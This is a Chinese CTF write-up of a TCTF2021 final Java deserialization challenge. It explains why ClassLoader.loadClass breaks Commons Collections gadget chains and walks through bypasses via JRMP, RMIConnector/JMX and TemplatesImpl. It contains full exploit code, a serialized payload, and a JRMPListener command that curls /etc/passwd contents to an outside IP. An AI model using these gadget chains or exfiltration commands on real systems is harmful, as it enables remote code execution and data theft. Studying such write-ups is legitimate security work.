TCTF2021总决赛2解Java与Bypass Shiro550 ClassLoader.loadClass
TCTF2021总决赛2解Java与Bypass Shiro550 ClassLoader.loadClass 前言 刚好TCTF2021 Final正在进行,队友发了一道Java题过来,本来白天没时间,但半夜三点突然爬起来看了会儿
睡不着睡不着 然后就天亮了。。。
先说题目内容
给了所有源码(dockerfile、jar等),GD-GUI反编译后先看了下lib
醒目的CC组件
然后看Controller
BOOT-INF/classes/com/yxxx/buggyLoader/IndexController.java
Utils.hexStringToBytes
是它自定义类里面的一个函数,作用是将hex编码转化为byte数组
那这里的功能就很简单了,先获取到用户输入,然后对其进行一系列转换后进行readObject
中间有个
1 2 3 4 5 String name = myObjectInputStream.readUTF(); int year = myObjectInputStream.readInt();if (name.equals("0CTF/TCTF" ) && year == 2021 ) { myObjectInputStream.readObject(); }
这个也简单,在writeObject
前再分别writeUTF
和writeInt
即可
那这个myObjectInputStream
和ObjectInputStream
有什么区别呢?
这里重写了ObjectInputStream的resolveClass
对比一下原生的 ObjectInputStream#resolveClass
可以看到由原生的Class.forName
改成了使用ClassLoader.loadClass
熟悉shiro550的都知道,shiro在readObject前使用的ClassResolvingObjectInputStream
也重写了resolveClass
,也改为使用了ClassLoader.loadClass
下面对于不了解Classloader的同学可能稍显晦涩,可以先去看一下 深入理解Java类加载器(ClassLoader) 一文,了解其中Classloader相关机制和函数都有助于理解
Class.forName与ClassLoader.loadClass区别 那Class.forName
和ClassLoader.loadClass
有什么区别呢?
网上只能搜到
原因真的是单纯不解析数组类型吗?
看到 这里
loadClass加载类时顺序如下
loadClass会首先调用findLoadedClass(String)
检查是否已加载,有则返回已加载类,没有则进行下一步
如果委托(delegate)属性设置为true,就会调用父类加载器的方法(如果有)
调用findClass从本地定义的存储库中查找此类
找不到又会从父加载器中进行加载
直接看代码吧,里面写得更清楚
java.lang.ClassLoader#loadClass
我们来改一下CC5的payload来调试
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import org.apache.commons.collections.keyvalue.TiedMapEntry;import javax.management.BadAttributeValueExpException;import java.io.FileInputStream;import java.io.FileOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import java.util.HashMap;import EExp.MyObjectInputStream;public class cc5 { public static void main (String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException { ChainedTransformer chain = new ChainedTransformer(new Transformer[] { new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod" , new Class[] { String.class, Class[].class }, new Object[] { "getRuntime" , new Class[0 ] }), new InvokerTransformer("invoke" , new Class[] { Object.class, Object[].class }, new Object[] { null , new Object[0 ] }), new InvokerTransformer("exec" , new Class[] { String.class }, new Object[]{"open /System/Applications/Calculator.app" })}); HashMap innermap = new HashMap(); LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain); TiedMapEntry tiedmap = new TiedMapEntry(map,123 ); BadAttributeValueExpException poc = new BadAttributeValueExpException(1 ); Field val = Class.forName("javax.management.BadAttributeValueExpException" ).getDeclaredField("val" ); val.setAccessible(true ); val.set(poc,tiedmap); try { ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc5" )); outputStream.writeObject(poc); outputStream.close(); MyObjectInputStream inputStream = new MyObjectInputStream(new FileInputStream("./cc5" )); inputStream.readObject(); }catch (Exception e){ e.printStackTrace(); } } }
当执行到inputStream.readObject();
时,就会调用到重写的resolveClass
即调用this.classLoader.loadClass(desc.getName());
,而此时this.classLoader
已经被赋值为了URLClassLoader
了,故会尝试调用java.net.URLClassLoader.loadClass
,跟一下java.net.URLClassLoader#loadClass
这里的参数类型不对,所以会调用父类的loadClass
,即java.lang.ClassLoader#loadClass
然后走到下面,也就是之前所说的那个loadClass
在parent.loadClass
设断点会发现,parent.ucp.path
里面并没有CC组件的路径
理所当然就会找不到Transformer
java.net.URLClassLoader
故抛出ClassNotFoundException
而当我们使用上面jar中自带的数组类型就不会抛出错误
由此引出P神结论:如果反序列化流中包含非Java自身的数组,则会出现无法加载类的错误。
那我们该如何绕过呢?
绕过ClassLoader.loadClass Method1:出网条件下的JRMPClient 之前Orange师傅提出过使用JRMP来攻击
因为这里需要绕一下readUTF
和readInt
,所以需要自己重写yso的payload来打
懒得引入yso来重写了,所以直接修改了ysoserial.Serializer#serialize
,在objOut.writeObject(obj);
前加了writeUTF
和writeInt
然后重新编译了一个新的ysoserial-0.0.6-SNAPSHOT-all.jar
执行如下命令来得到base64序列化数据
1 $ java -jar ysoserial-0.0.6-SNAPSHOT-all.jar JRMPClient "106.15.121.121:1234" |base64 |sed ':label;N;s/\n//;b label'
然后转一下hex
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 import java.util.Base64;public class exp3 { public static String bytesTohexString (byte [] bytes) { if (bytes == null ) return null ; StringBuilder ret = new StringBuilder(2 * bytes.length); for (int i = 0 ; i < bytes.length; i++) { int b = 0xF & bytes[i] >> 4 ; ret.append("0123456789abcdef" .charAt(b)); b = 0xF & bytes[i]; ret.append("0123456789abcdef" .charAt(b)); } return ret.toString(); } public static void main (String[] args) throws Exception { String exp = "rO0ABXcPAAkwQ1RGL1RDVEYAAAflc30AAAABABpqYXZhLnJtaS5yZWdpc3RyeS5SZWdpc3RyeXhyABdqYXZhLmxhbmcucmVmbGVjdC5Qcm94eeEn2iDMEEPLAgABTAABaHQAJUxqYXZhL2xhbmcvcmVmbGVjdC9JbnZvY2F0aW9uSGFuZGxlcjt4cHNyAC1qYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN0SW52b2NhdGlvbkhhbmRsZXIAAAAAAAAAAgIAAHhyABxqYXZhLnJtaS5zZXJ2ZXIuUmVtb3RlT2JqZWN002G0kQxhMx4DAAB4cHc3AApVbmljYXN0UmVmAA4xMDYuMTUuMTIxLjEyMQAABNIAAAAAblHq0AAAAAAAAAAAAAAAAAAAAHg=" ; byte [] base64decodedBytes = Base64.getDecoder().decode(exp); System.out.println(bytesTohexString(base64decodedBytes)); } }
用为修改的yso
来开启JRMP恶意服务
1 $ java -cp yso* ysoserial.exploit.JRMPListener 1234 CommonsCollections5 "curl 106.15.121.121:2333/`cat /etc/passwd`"
拿上面payload去打一下
这里打的是本地起的jar,但拿到远程去打却发现没有成功
然后再去看了下题目给的材料
defaut.conf
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 server { listen 80 ; server_name localhost; location / { root /usr/share/nginx/html; index index.html index.htm; proxy_pass http://web:8080; } error_page 500 502 503 504 /50x.html; location = /50x.html { root /usr/share/nginx/html; } }
然后是docker-compose.yml
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 version: '2.4' services: nginx: image: nginx:1.15 ports: - "0.0.0.0:80:80" restart: always volumes: - ./default.conf:/etc/nginx/conf.d/default.conf:ro networks: - internal_network - out_network web: build: ./ restart: always networks: - internal_network networks: internal_network: internal: true ipam: driver: default out_network: ipam: driver: default
显而易见,这里出题人直接将web服务设置为了不出网,然后配置了一个nginx反向代理
那这也是JRMP打法的局限了,那我们又该如何绕过不出网的loadClass
呢?
Method2:RMIConnectorServer 来自r3的解法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 package EExp;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.keyvalue.TiedMapEntry;import org.apache.commons.collections.map.LazyMap;import ysoserial.payloads.*;import ysoserial.payloads.util.Reflections;import javax.management.remote.JMXServiceURL;import javax.management.remote.rmi.RMIConnector;import java.io.*;import java.lang.reflect.Field;import java.util.Base64;import java.util.HashMap;import java.util.HashSet;import java.util.Map;public class JMX { public static void main (String[] args) throws Exception { Object obj = getObject(); ByteArrayOutputStream bos = new ByteArrayOutputStream(); ObjectOutputStream oss = null ; oss = new ObjectOutputStream(bos); oss.writeUTF("0CTF/TCTF" ); oss.writeInt(2021 ); oss.writeObject(obj); oss.flush(); byte [] bytes = bos.toByteArray(); bos.close(); String hex = Utils.bytesTohexString(bytes); System.out.println(hex); byte [] b2 = Utils.hexStringToBytes(hex); InputStream inputStream1 = new ByteArrayInputStream(b2); ObjectInputStream objectInputStream1 = new MyObjectInputStream(inputStream1); System.out.println(objectInputStream1.readUTF()); System.out.println(objectInputStream1.readInt()); Object obj2 = objectInputStream1.readObject(); } public static Serializable getObject () throws Exception { Transformer transformer = InvokerTransformer.getInstance("connect" ); CommonsCollections4 commonsCollections3 = new CommonsCollections4(); ByteArrayOutputStream outputStream = new ByteArrayOutputStream(); ObjectOutputStream objectOutputStream = new ObjectOutputStream(outputStream); objectOutputStream.writeObject(commonsCollections3.getObject("echo 1>./1.txt" )); String expbase64 = new String(Base64.getEncoder().encode(outputStream.toByteArray())); String finalExp = "service:jmx:rmi:///stub/" + expbase64; RMIConnector rmiConnector = new RMIConnector(new JMXServiceURL(finalExp), new HashMap<>()); Map innerMap = new HashMap(); Map lazyMap = LazyMap.decorate(innerMap, transformer); TiedMapEntry entry = new TiedMapEntry(lazyMap, rmiConnector); HashSet map = new HashSet(1 ); map.add("foo" ); Field f = null ; try { f = HashSet.class.getDeclaredField("map" ); } catch (NoSuchFieldException var18) { f = HashSet.class.getDeclaredField("backingMap" ); } Reflections.setAccessible(f); HashMap innimpl = (HashMap) f.get(map); Field f2 = null ; try { f2 = HashMap.class.getDeclaredField("table" ); } catch (NoSuchFieldException var17) { f2 = HashMap.class.getDeclaredField("elementData" ); } Reflections.setAccessible(f2); Object[] array = (Object[]) ((Object[]) f2.get(innimpl)); Object node = array[0 ]; if (node == null ) { node = array[1 ]; } Field keyField = null ; try { keyField = node.getClass().getDeclaredField("key" ); } catch (Exception var16) { keyField = Class.forName("java.util.MapEntry" ).getDeclaredField("key" ); } Reflections.setAccessible(keyField); keyField.set(node, entry); return map; } }
只拿到了r3师傅的一个exp,但也够了,自己本地分析调试一下就可知道
这条方法同样是根据之前Bypass Shiro550 Classloader.loadClass中
https://bling.kapsi.fi/blog/jvm-deserialization-broken-classldr.html
这篇文章的绕过思路,触发无参数方法来发起连接请求从而反序列化数据
这里利用的是RMIConnectorServer
http://mx4j.sourceforge.net/docs/ch03s15.html
由exp可知调用的无参方法是connect
然后走到了下一个connect
走到这里便开始从stub后面的序列化payload中寻找RMI服务了
跟一下,因为我们使用的path是stub,所以又会调用到findRMIServerJRMP
函数
跟一下findRMIServerJRMP
那这里就成功进行二次反序列化,从而绕过loadClass的限制了
Method3:URL#openConnection 这是上交0ops师傅的解法
https://github.com/ceclin/0ctf-2021-finals-soln-buggy-loader/tree/main/app/src/main/kotlin/ccl
同样只能分析exp了。。。
用kotlin写的exp,虽然没学过,但还是挺容易看懂
简单逛一下依旧见到了这篇文章的影子
http://mx4j.sourceforge.net/docs/ch03s15.html
里面提到了URL对象是可序列化的,并且存在一个openConnection
方法
看一下exp
直接盲注flag了。。。
Method4:TemplatesImpl 这是P神在小密圈中Java安全漫谈-15
一文提出的方法
大概就是用javassist
将恶意类字节码传递给TemplatesImpl
来RCE
不过这道题却没打通,有时间再来调一下
后面和队友@Firebasky讨论提醒了一下,这个在shiro中可以,而在这里不可以的原因是
shiro中使用的是new TomcatEmbeddedWebappClassLoader().loadClass(),而题目是 new URLClassLoader(urls);
new TomcatEmbeddedWebappClassLoader().loadClass() 是最后通过Class.forName去加载使用的,其父加载器是AppClassloader
而new URLClassLoader(urls)的父加载器是URLClassLoader,加载时找不到我们创建的evil class,故报错。